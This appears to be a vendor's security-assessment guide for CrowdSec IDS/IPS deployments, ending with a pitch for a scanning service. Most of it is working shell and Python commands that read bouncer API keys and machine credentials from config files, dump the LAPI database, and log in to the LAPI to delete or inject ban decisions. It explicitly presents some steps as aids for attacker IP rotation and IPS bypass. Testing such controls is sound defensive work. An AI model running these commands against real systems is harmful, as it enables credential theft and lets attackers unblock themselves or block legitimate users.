CrowdSec is a widely deployed open-source community-driven IDS/IPS that analyzes logs and shares threat intelligence across its user community. It consists of a security engine (agent), a Local API (LAPI) that coordinates decisions, and bouncers that enforce those decisions at the network/application layer. As a security control system, compromising CrowdSec has two high-value outcomes: reading the decision list to understand which IPs are blocked (useful for attacker IP rotation), and injecting false decisions to block legitimate traffic or whitelist malicious IPs. Key assessment areas: bouncer API keys in /etc/crowdsec/bouncers/ provide read/write access to the LAPI decision endpoint; the LAPI SQLite database at /var/lib/crowdsec/data/crowdsec.db stores all machine and bouncer credential hashes; the machine credentials in /etc/crowdsec/local_api_credentials.yaml contain the agent password for LAPI authentication; and the CrowdSec console enrollment key in config.yaml links the instance to the cloud hub. This guide covers systematic CrowdSec security assessment.
# CrowdSec bouncer API key extraction and decision API access
# Bouncer config files contain the API key in plaintext
# List and read bouncer configuration files
ls -la /etc/crowdsec/bouncers/ 2>/dev/null
# crowdsec-firewall-bouncer.yaml
# cs-nginx-bouncer.yaml
# etc.
# Extract API keys from bouncer configs
grep -r "api_key\|api_url\|url" /etc/crowdsec/bouncers/ 2>/dev/null
# Typical output:
# api_url: http://localhost:8080
# api_key: 7f8e9d2b1a3c4e5f6789abcdef012345
# With a bouncer API key — query the CrowdSec LAPI decision list
LAPI_URL="http://localhost:8080"
BOUNCER_KEY="7f8e9d2b1a3c4e5f6789abcdef012345"
# Check if a specific IP is blocked (useful for attacker IP rotation)
curl -s "${LAPI_URL}/v1/decisions?ip=203.0.113.100" \
-H "X-Api-Key: ${BOUNCER_KEY}" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
if d:
for decision in d:
print(f'IP blocked: {decision.get(\"value\")} reason={decision.get(\"type\")} until={decision.get(\"until\")}')
else:
print('IP not currently blocked')
except: print(sys.stdin.read()[:200])
" 2>/dev/null
# Dump all active decisions (the full blocklist)
curl -s "${LAPI_URL}/v1/decisions" \
-H "X-Api-Key: ${BOUNCER_KEY}" 2>/dev/null | python3 -c "
import json,sys
try:
decisions=json.load(sys.stdin)
if decisions:
print(f'Active decisions: {len(decisions)}')
for d in decisions[:20]:
print(f' {d.get(\"value\")} type={d.get(\"type\")} scenario={d.get(\"scenario\")} until={d.get(\"until\")}')
else:
print('No active decisions')
except: print(sys.stdin.read()[:200])
" 2>/dev/null
# CrowdSec LAPI SQLite database — all machine and bouncer credentials
# The SQLite database stores bcrypt-hashed passwords for all registered machines
sqlite3 /var/lib/crowdsec/data/crowdsec.db 2>/dev/null << 'EOF'
SELECT m.machine_id, m.ipaddress, m.scenarios, m.is_validated, m.last_push
FROM machines m
LIMIT 20;
EOF
# Returns all registered CrowdSec agent machines
# Extract bouncer registrations from DB
sqlite3 /var/lib/crowdsec/data/crowdsec.db 2>/dev/null << 'EOF'
SELECT name, created_at, revoked, until, auth_type
FROM bouncers
LIMIT 20;
EOF
# Machine login credentials — used by CrowdSec agent to authenticate to LAPI
cat /etc/crowdsec/local_api_credentials.yaml 2>/dev/null
# Contains:
# url: http://localhost:8080
# login: machine-name-hostname
# password: BASE64ENCODEDPASSWORD
# Decode the password
python3 -c "
import yaml, base64
with open('/etc/crowdsec/local_api_credentials.yaml') as f:
config = yaml.safe_load(f)
login = config.get('login','')
password = config.get('password','')
print(f'Machine login: {login}')
print(f'Machine password: {password}')
" 2>/dev/null
# CrowdSec main config — console enrollment key
grep -E 'enrollment_token|console_url|online_client' \
/etc/crowdsec/config.yaml 2>/dev/null
# CrowdSec decision API — injection and deletion
# Machine-level API (authenticated as agent) allows decision management
# This requires machine credentials from local_api_credentials.yaml
LAPI_URL="http://localhost:8080"
# Authenticate as a machine to get JWT
MACHINE_TOKEN=$(curl -s -X POST "${LAPI_URL}/v1/watchers/login" \
-H "Content-Type: application/json" \
-d '{"machine_id":"mymachine-hostname","password":"BASE64ENCODEDPASSWORD"}' \
2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('token',''))
" 2>/dev/null)
# Delete a specific decision (whitelist an IP the IPS has blocked)
curl -s -X DELETE "${LAPI_URL}/v1/decisions?ip=203.0.113.100" \
-H "Authorization: Bearer ${MACHINE_TOKEN}" 2>/dev/null
# Create a decision to block a specific IP (inject false positive)
curl -s -X POST "${LAPI_URL}/v1/decisions" \
-H "Authorization: Bearer ${MACHINE_TOKEN}" \
-H "Content-Type: application/json" \
-d '[{"value":"10.0.0.1","type":"ban","duration":"24h","reason":"injected","scenario":"test","origin":"machine"}]' \
2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| Bouncer API key extraction | Read /etc/crowdsec/bouncers/*.yaml — API keys in plaintext; enables GET /v1/decisions to enumerate full IP blocklist; allows checking attacker infrastructure against the blocklist to identify blocked IPs for rotation | High |
| LAPI database credential extraction | sqlite3 /var/lib/crowdsec/data/crowdsec.db — machines table contains all agent credential hashes; bouncers table lists all bouncer registrations and their revocation status | High |
| Machine credential extraction and decision injection | Read /etc/crowdsec/local_api_credentials.yaml — machine login/password for LAPI auth; POST /v1/decisions with machine JWT injects false ban or whitelist decisions affecting all bouncers; DELETE /v1/decisions whitelists any currently-blocked IP | Critical |
| Decision list enumeration (IPS bypass intelligence) | GET /v1/decisions with bouncer key — returns complete active blocklist with IP, scenario, and expiry; exposes which attacker IPs have been detected and blocked; useful for rotating attack infrastructure to unblocked IPs | Medium |
| Console enrollment token exposure | grep enrollment_token /etc/crowdsec/config.yaml — links instance to CrowdSec cloud hub; leaked token allows third party to associate their instance with the organization's console account, accessing aggregated threat intelligence and metrics | Medium |
Ironimo tests CrowdSec deployments for bouncer API key extraction from bouncer config files, LAPI database credential hash enumeration, machine credential extraction from local_api_credentials.yaml, decision list enumeration exposing full IP blocklist, false decision injection and whitelist manipulation capability, LAPI network binding and remote access exposure, and console enrollment token assessment.
Start free scan